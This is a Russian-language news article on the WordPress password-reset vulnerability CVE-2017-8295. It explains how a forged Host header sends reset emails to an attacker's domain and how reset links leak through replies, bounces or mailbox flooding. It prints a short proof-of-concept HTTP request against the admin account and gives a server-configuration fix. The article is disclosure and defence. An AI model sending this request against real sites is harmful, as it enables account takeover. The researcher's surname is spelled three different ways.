WordPress, самая популярная CMS в мире, в которой была выявлена уязвимость. Суть уязвимости заключается в использовании логической ошибки в механизме восстановления пароля WordPress. Когда пользователь запрашивает такую смену, WordPress генерирует уникальный секретный код и отправляет его на email, который хранится в базе.
Уязвимость (CVE-2017-8295) влияет на все версии WordPress, включая последнюю версию 4.7.4. Уязвимость в WordPress была обнаружена Польским исследователем безопасности Даудом Голунски (Dawid Golunski ) из Legal Hackers в прошлом году в июле. Он сообщил об этом команде безопасности WordPress, которая решила проигнорировать эту проблему, оставив миллионы сайтов уязвимыми.
“Эта проблема неоднократно сообщалась в группу безопасности WordPress. Первый отчет был отправлен в июле 2016 года. Об уязвимости сообщалось как непосредственно через контактный адрес службы безопасности, так и через веб-сайт HackerOne”, – написал Голунский.
Подробнее об уязвимости
При отправке этого сообщения для получения имени хоста сервера используется переменная SERVER_NAME — это нужно, чтобы установить значения в поля From/Return-Path. В поле «From» хранится адрес отправителя, а в «Return-Path» — адрес, на который должны доставляться сообщения ‘bounce-back’, они генерируются в случае сбоя отправки.
По словам Голунски, злоумышленник может отправить специальный HTTP-запрос с предустановленным значением hostname (например, attacker-mxserver.com) и одновременно инициировать процесс сброса пароля для какого-либо пользователя — к примеру, администратора сайта.
Поскольку имя хоста в HTTP-запросе — это домен, контролирующийся атакующим, поля From и Return-Path в письме для сброса пароля будут изменены таким образом, что в них будет включен почтовый адрес, связанный с доменом хакера — например, wordpress@attacker-mxserver.com
вместо wordpress@victim-domain.com
.
Письмо с кодом для сброса пароля будет все равно отправлено на адрес жертвы, однако при определенных условиях получить его сможет и атакующий.
- Если жертва ответит на письмо, то ответ уже будет отправлен на адрес взломщика (теперь он хранится в поле From), а в истории переписки сохранится ссылка на сброс пароля.
- Если по какой-то причине доставка письма жертве не удастся, то сообщение о сбое будет автоматически перенаправлено на адрес злоумышленника (он указан в Return-Path).
- Другой возможный сценарий — для того, чтобы первоначальное сообщение не было доставлено жертве, злоумышленник может провести DDoS-атаку на email-сервер целевого пользователя или отправить на его адрес большое количество писем, добившись того, что почтовый адрес больше не сможет принимать сообщения. Таким образом произойдет сбой доставки, и сообщение об это будет доставлено атакующему.
«Атака CVE-2017-8295 потенциально может быть выполнена как при взаимодействии с пользователем (пользователь нажимает на кнопку« Reply»), так и без взаимодействия с пользователем (почтовый ящик жертвы превышает квоту хранения)», – сказал Голубский The Hacker News В электронном письме.
Манипуляции с заголовком SERVER_NAME с помощью HTTP-заголовка Host могут быть осуществлены на «дефолтных» настройках веб-сервера Apache, который чаще всего используется для развертывания WordPress.
PoC HTTP-запрос:
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
Как защититься
Поскольку официального патча для закрытия уязвимости не существует, администраторов сайтов на WordPress рекомендуется обновить конфигурацию, активировав опцию UseCanonicalName — это позволит установить статическое значение SERVER_NAME и сделает проведение атаки невозможным.
Источники: